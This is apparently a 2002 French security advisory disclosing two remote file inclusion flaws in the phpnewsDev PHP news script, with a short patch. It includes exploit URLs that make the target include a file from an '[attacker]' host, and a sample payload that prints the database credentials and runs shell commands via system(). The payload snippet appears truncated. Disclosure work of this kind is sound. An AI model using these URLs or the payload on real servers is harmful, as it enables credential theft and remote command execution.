phpnewsDev ********** Informations : °°°°°°°°°°°°°° Langage : PHP Tested version : 1 Website : ? Problème : Inclusion de fichiers Developpement : °°°°°°°°°°°°°°° phpnewsDev est un petit script de news, avec une partie administrative et membre, envois et consultation d'articles et de commentaires, gestion des archives,... La faille est une faille include() classique. Un dossier, /Include/, contient des fichiers à inclure dans les fichiers principaux. Deux de ces fichiers contiennent une faille. Le premier est Include/variables.php3, dans lequel on peut voir : ----------------------------------- ----------------------------------- On peut donc inclure le fichier http://[attacker]/french.inc grâce à l'url : http://[target]/variables.php3?Include=http://[attacker], et donc faire executer du code PHP contenu dans french.inc. Par exemple, french.inc pourrait contenir le code : MySQL Infos\n\nServeur: $Mac \nLogin: $Uti \nPass: $Mot \nDB Name: $Bd"); system($cmd); ?> Ce qui afficherait le serveur, le login, le pass et le nom de la DB SQL, et executera eventuellement une commande sur le serveur, si la variable $cmd est définie. La deuxième faille se trouve dans Include/lib.inc.php3, où on peut voir la ligne : ------------------------------------ include("$Include/config.inc.php3"); ------------------------------------ L'url http://[target]/Include/lib.inc.php3?http://[attacker] inclura donc le fichier http://[attacker]/config.inc.php3. Patch : °°°°°°° Ajouter au début de : ---------------------- Include/lib.inc.php3 Include/variables.php3 ---------------------- la ligne : ------------------- $Include="Include"; ------------------- Credits : °°°°°°°°° Auteur : frog-m@n E-mail : leseulfrog@hotmail.com Website : http://www.frog-man.org Date : 08/10/02